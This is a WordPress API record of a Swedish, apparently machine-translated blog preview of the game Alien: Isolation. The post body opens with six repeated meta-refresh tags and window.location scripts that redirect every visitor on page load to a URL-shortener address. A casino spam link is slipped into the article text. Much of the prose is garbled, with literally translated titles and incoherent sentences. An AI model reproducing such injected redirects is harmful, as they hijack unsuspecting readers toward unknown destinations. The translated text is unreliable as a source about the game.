{"id":79019,"date":"2025-07-29T09:47:46","date_gmt":"2025-07-29T09:47:46","guid":{"rendered":"http:\/\/ansoldes.com\/?p=79019"},"modified":"2025-07-29T11:59:21","modified_gmt":"2025-07-29T11:59:21","slug":"alien-isolation-preview-gamescom-2014-1","status":"publish","type":"post","link":"http:\/\/ansoldes.com\/index.php\/2025\/07\/29\/alien-isolation-preview-gamescom-2014-1\/","title":{"rendered":"alien-isolation-preview-gamescom-2014-1"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><br \/>\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.observer\/XOLgxtXuh0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.observer\/XOLgxtXuh0r3\";<\/script><\/p>\n<h1>Alien: Isolation: Preview (Gamescom 2014)<\/h1>\n<p>I loungezonen <b>Sega<\/b> P\u00e5 Gamescom \u00e4r allt m\u00f6blerat p\u00e5 det mest kulturella s\u00e4ttet: de erbjuder journalister kaffe och kakor, ett l\u00f6senord f\u00f6r att anv\u00e4nda Wi-Fi \u00e4r skriven p\u00e5 v\u00e4ggen, det finns bord och mjuka f\u00e5t\u00f6ljer runt. Jag, lounging in i en av dem, plockar upp Wikipedia. Jag kommer att bli p\u00e5 v\u00e4g att bli inbjuden till en intervju med en av utvecklarna <b>Fr\u00e4mmande: Isolering<\/b>, S\u00e5 det \u00e4r br\u00e5dskande att ta reda p\u00e5 om den kanoniska Xenomorph hade \u00f6gon. Eftersom jag ska ta en h\u00e4mtning p\u00e5 allvar p\u00e5 allt jag s\u00e5g. <\/p>\n<p>Oavsett hur snyggt det kan se ut som reklam, verkar spelet fortfarande f\u00f6r mig n\u00e4sta &#8220;skr\u00e4ck med d\u00f6lj och s\u00f6k under s\u00e4ngen&#8221;, om \u00e4n i spektakul\u00e4r landskap. Dessutom lovar f\u00f6rfattarna 8 timmars spel, som i denna genre kan uth\u00e4rda. F\u00f6rresten, det finns inget \u00f6ga i Xenomorphs skalle, men det verkar vara som. Okej, minus en lumsk fr\u00e5ga. <\/p>\n<p><b>K\u00e4rlek vid f\u00f6rsta anblicken<\/b> <\/p>\n<p><u>Al Hope<\/u> (Al Hope), en ledande projektdesigner, \u00e4r en av de f\u00f6rsta niv\u00e5erna i spelet f\u00f6re v\u00e5ra \u00f6gon. Huvudpersonen \u00e4r att f\u00f6rs\u00f6ka hitta \u00e5tminstone n\u00e5gra sp\u00e5r av hennes saknade mamma, f\u00f6r vilken hon g\u00e5r ut\u00f6ver den svarta l\u00e5dan fr\u00e5n sitt rymdskepp. Dotters namn \u00e4r Amanda, och hennes mamma \u00e4r Ellen. Ellen Ripley. <\/p>\n<p>Trots ett enkelt slips k\u00e4nns historien mycket massiv. Niv\u00e5n f\u00f6reg\u00e5r den kinematografiska kattsgenen, d\u00e4r mycket polygonala hj\u00e4ltar skriker p\u00e5 varandra och slog h\u00f6gt n\u00e4varna p\u00e5 bordet. Under spelet h\u00e4r och d\u00e4r finns det karakt\u00e4rer som f\u00f6rs\u00f6ker binda en dialog. N\u00e5gons r\u00f6ster g\u00f6r regelbundet radio och ger r\u00e5d om Amanda om vad man ska g\u00f6ra n\u00e4sta. Full, i allm\u00e4nhet, plot. Det \u00e4r om\u00f6jligt att s\u00e4ga med f\u00f6rtroende att en s\u00e5dan rytm kommer att h\u00e5llas st\u00e4ndigt, men det visade segmentet \u00e4r inte p\u00e5 n\u00e5got s\u00e4tt underl\u00e4gsen, till exempel, <b>D\u00f6dutrymme<\/b>. <\/p>\n<p>Den inledande delen av avsnittet l\u00e5ter dig g\u00e5 runt fartyget utan on\u00f6dig stress, och AL, som en riktig guide, talar om designen av platser. \u201dTill v\u00e4nster kan du se antediluviska tv\u00e5 -tondatorer, och till h\u00f6ger finns en stor mekanisk spak som \u00f6ppnar en n\u00f6dutg\u00e5ng. Det var fartygen i versionen <u>Ridley Scott<\/u> (Ridley Scott), regiss\u00f6r f\u00f6r den ursprungliga filmen. En slags &#8220;retribor&#8221;, vad han s\u00e5gs p\u00e5 sjuttiotalet. Vi skakar s\u00e5 om utl\u00e4nningen 1979 att vi tog VHS -kassetten med filmen, tog bort st\u00f6rningar fr\u00e5n den och till\u00e4mpades som ett speciellt filter f\u00f6r bilden \u201d. <\/p>\n<p>Intressant nog definierar designen direkt n\u00e5gra spelfunktioner. Det finns <a href=\"https:\/\/winner-casino.se\/\">https:\/\/winner-casino.se\/<\/a> n\u00e4stan ingen digital teknik i denna v\u00e4rld, och d\u00e4rf\u00f6r m\u00e5ste n\u00e5gon betydande \u00e5tg\u00e4rd utf\u00f6ras manuellt. Under hela spelet m\u00e5ste du vrida ventilerna, dra handtagen eller bryta de fastnat d\u00f6rrarna. Till och med bevarandef\u00f6rfarandet (implementerad h\u00e4r med hj\u00e4lp av en del stans) tar n\u00e5gra sekunder. Hur jag kommer att f\u00f6rst\u00e5 senare &#8211; n\u00e5gra sekunder av fullst\u00e4ndig s\u00e5rbarhet. <\/p>\n<p>Forts\u00e4tter att g\u00e5 runt fartyget hittar utvecklaren en del dator och uppdaterar kartan \u00f6ver lokalerna. En ouppm\u00e4rksam spelare kunde inte m\u00e4rka den h\u00e4r datorn och f\u00f6r en viss tid att vara kvar utan orientering betyder: fartygets diagram uppdateras av bitar, och det \u00e4r l\u00e5ngt ifr\u00e5n det faktum att det kommer att vara l\u00e4tt att hitta allt. I filerna i n\u00e4rheten gr\u00e4ver vi ut koden fr\u00e5n d\u00f6rren och flera ljuddagar bindande f\u00f6r alla spel. <\/p>\n<p>Vi pratar med vissa m\u00e4nniskor, l\u00e4mnar f\u00f6r att leta efter n\u00e5got. Automatiska d\u00f6rrar \u00f6ppna med en fruktansv\u00e4rd knark, liknande rop fr\u00e5n Xenomorph. Slipning. Vi tar n\u00e5gra steg l\u00e4ngs den nya korridoren f\u00f6r oss sj\u00e4lva. Ljud \u00e4r tyst. Hj\u00e4lten tar ut samma legendariska skanner. Han visar att n\u00e5got redan v\u00e4ntar framf\u00f6r oss. <\/p>\n<p><b>Varelsen \u00e4r ofrinter<\/b> <\/p>\n<p>P\u00e5 ett \u00f6gonblick \u00e4r en smal korridor fylld med r\u00f6k, buller och skrallel. Ventilationsluckan faller p\u00e5 golvet med ett brus, fr\u00e5n det bildade h\u00e5let mycket l\u00e5ngsamt, otroligt smidigt faller en fr\u00e4mling. Al, som vid den tiden g\u00f6mde hj\u00e4lten bakom n\u00e5gon nattduk, b\u00f6rjar f\u00f6rklara monsterets beteende. <\/p>\n<p>Xenomorph c <b>ISOLERING<\/b> &#8211; varelsen \u00e4r fr\u00e4mst dynamisk. Han visas alltid bara p\u00e5 ordning av skript, och varje g\u00e5ng kommer det att m\u00f6bleras som en liten spektakul\u00e4r show. Men s\u00e5 snart den beredda animationen av utseendet slutar ges utl\u00e4nningen f\u00f6r att kontrollera konstgjord intelligens, och det \u00e4r om\u00f6jligt att f\u00f6ruts\u00e4ga hans ytterligare beteende. <\/p>\n<p>Varelsen vet hur man tittar noga, sniffar och lyssnar &#8211; det kan locka on\u00f6dig uppm\u00e4rksamhet som en slarvig r\u00f6relse och en oavsiktligt hackad l\u00e5da. Samtidigt slipas aldrig rutterna f\u00f6r hans promenader och kommer att f\u00f6r\u00e4ndras \u00e4ven n\u00e4r de startar om efter d\u00f6den. Det kommer inte att finnas n\u00e5gra helt s\u00e4kra platser: spelaren kan \u00f6vertagas i ventilation och under bordet och under vissa \u00e5tg\u00e4rder. Till exempel ange ett l\u00f6senord fr\u00e5n en sparande d\u00f6rr. <\/p>\n<p>Det enda s\u00e4ttet att \u00f6vertr\u00e4ffa fienden som inte \u00e4r mottaglig f\u00f6r att f\u00f6rutse och springa mycket snabbare \u00e4r att inte f\u00f6rlora honom. H\u00e4r kommer r\u00f6relsescannern till unds\u00e4ttning &#8211; en tung och ofullst\u00e4ndig enhet. N\u00e4r hj\u00e4lten plockar upp honom \u00e4r bilden suddig: F\u00f6rfattarna imiterar fokus f\u00f6r det m\u00e4nskliga \u00f6gat. Du m\u00e5ste st\u00e4ndigt v\u00e4lja &#8211; antingen f\u00f6r att tydligt se detektorn eller koncentrera dig p\u00e5 v\u00e4rlden runt och titta p\u00e5 &#8220;Pican&#8221; endast med perifer syn. Enheten \u00e4r besv\u00e4rlig, begr\u00e4nsar r\u00f6relsens hastighet, f\u00f6rbjuder att b\u00e4ra n\u00e5got annat i h\u00e4nderna. Skiljer inte mellan fr\u00e4mlingar och hans egna och, det v\u00e4rsta, f\u00e5ngar bara en viss sektor framf\u00f6r honom, s\u00e5 varnar inte f\u00f6r att attackera bakifr\u00e5n. <\/p>\n<p>Om j\u00e4garen fortfarande lyckades \u00f6vertr\u00e4ffa dig, har Amanda ocks\u00e5 m\u00f6jlighet att g\u00f6ra enkla betar fr\u00e5n improviserade medel. M\u00e4ssor, brusgranater och annat skr\u00e4p &#8211; det kommer inte att vara m\u00f6jligt att skapa n\u00e5got betydande och riktigt farligt. Al och anv\u00e4nder denna m\u00f6jlighet &#8211; kastar en konstgjord lampa l\u00e4ngst ner i korridoren. Framg\u00e5ng! Utl\u00e4nningen v\u00e4nde sig bort och gick f\u00f6r att utforska k\u00e4llan till brus. <\/p>\n<p>Byt till den &#8220;genomsnittliga&#8221; r\u00f6relseshastigheten (det finns tre av dem fr\u00e5n snabb och bullrig till l\u00e5ngsam och tyst), hj\u00e4ltinnan ryggar i motsatt vinkel. Den passerar vid den automatiska d\u00f6rren, och hon \u00f6ppnar med ett brus &#8211; fr\u00e4mlingen v\u00e4nder direkt och springer h\u00e4r. <\/p>\n<p>Rummet, d\u00f6rren som den av misstag \u00f6ppnade, ser ut som en ring fr\u00e5n insidan, s\u00e5 det lyckas g\u00f6mma sig bra i den. N\u00e4r faran stolt g\u00e5r in i passagen g\u00f6mmer sig A redan bakom n\u00e5gon soffa. Och f\u00f6rbi st\u00e4ndigt honom f\u00f6r att inte falla i synen. Hela spelet h\u00e5lls p\u00e5 s\u00e5dana filialer av platser, s\u00e5 det \u00e4r m\u00f6jligt att g\u00f6mma bokstavligen ur det bl\u00e5. Vi l\u00e4mnar, kryper upp till en annan d\u00f6rr skyddad av l\u00f6senord. <\/p>\n<p>Hj\u00e4lten tittar dumt p\u00e5 kombinationsinmatningspanelen: hon kommer inte att presentera n\u00e5gonting sj\u00e4lv. Du m\u00e5ste kl\u00e4ttra in i tidningen och komma ih\u00e5g att koden skrivs om f\u00f6r tio minuter sedan. Ett aggressivt brus h\u00f6rs bakifr\u00e5n och sitter i hallen som str\u00e4var efter att spela numren. L\u00f6senordet kan anges under sista sekunden &#8211; vi \u00e4r r\u00e4ddade, d\u00f6rren st\u00e4ngs framf\u00f6r n\u00e4san (?) Xenomorph. <\/p>\n<p>Ytterligare &#8211; v\u00e4rre. Skannern b\u00f6rjar lysa med n\u00e5gra lampor &#8211; flera personer fram\u00e5t (robotar?), fr\u00e5n vilken du ocks\u00e5 beh\u00f6ver g\u00f6mma dig. Samma metoder, men inte s\u00e5 l\u00e4nge, tacka Gud: \u00c5terigen verkar en fr\u00e4mling spektakul\u00e4rt, d\u00f6dar h\u00e4lften av de n\u00e4rvarande, och efter andra halv\u00e5ret b\u00f6rjar ha mycket jakt. Hj\u00e4lten g\u00f6mmer sig i ventilation, kryper l\u00e4ngs henne i flera minuter och m\u00f6ter hennes d\u00f6d bakom n\u00e4sta sv\u00e4ng. Det var n\u00f6dv\u00e4ndigt att f\u00f6lja och inte kl\u00e4ttra i huvudet. <\/p>\n<p>Bed\u00f6mer efter reklamfilmen och &#8220;utvecklardagb\u00f6cker&#8221;, <b>Kreativ f\u00f6rsamling<\/b> f\u00f6rst\u00e5r fullt ut belastningen av ansvar som tilldelats det. <b>ISOLERING<\/b> b\u00f6r rensa namnet &#8220;fr\u00e4mling&#8221; efter <b>Kolonimarinar<\/b>, D\u00e4rf\u00f6r m\u00e5ste du inte bara g\u00f6ra bra eller utm\u00e4rkt, utan det b\u00e4sta spelet om xenomorfer. Det \u00e4r fortfarande oklart om det kommer att bli eller inte, men n\u00e4r du lyssnar p\u00e5 historien om Ala, tror du verkligen &#8211; de f\u00f6rs\u00f6ker med all sin kraft.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Alien: Isolation: Preview (Gamescom 2014) I loungezonen Sega P\u00e5 Gamescom \u00e4r allt m\u00f6blerat p\u00e5 det mest kulturella s\u00e4ttet: de erbjuder journalister kaffe och kakor, ett l\u00f6senord f\u00f6r att anv\u00e4nda Wi-Fi \u00e4r skriven p\u00e5 v\u00e4ggen, det finns bord och mjuka f\u00e5t\u00f6ljer runt. Jag, lounging in i en av dem, plockar upp Wikipedia. Jag kommer att bli [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":[],"categories":[44],"tags":[],"_links":{"self":[{"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/posts\/79019"}],"collection":[{"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/comments?post=79019"}],"version-history":[{"count":1,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/posts\/79019\/revisions"}],"predecessor-version":[{"id":79020,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/posts\/79019\/revisions\/79020"}],"wp:attachment":[{"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/media?parent=79019"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/categories?post=79019"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/tags?post=79019"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}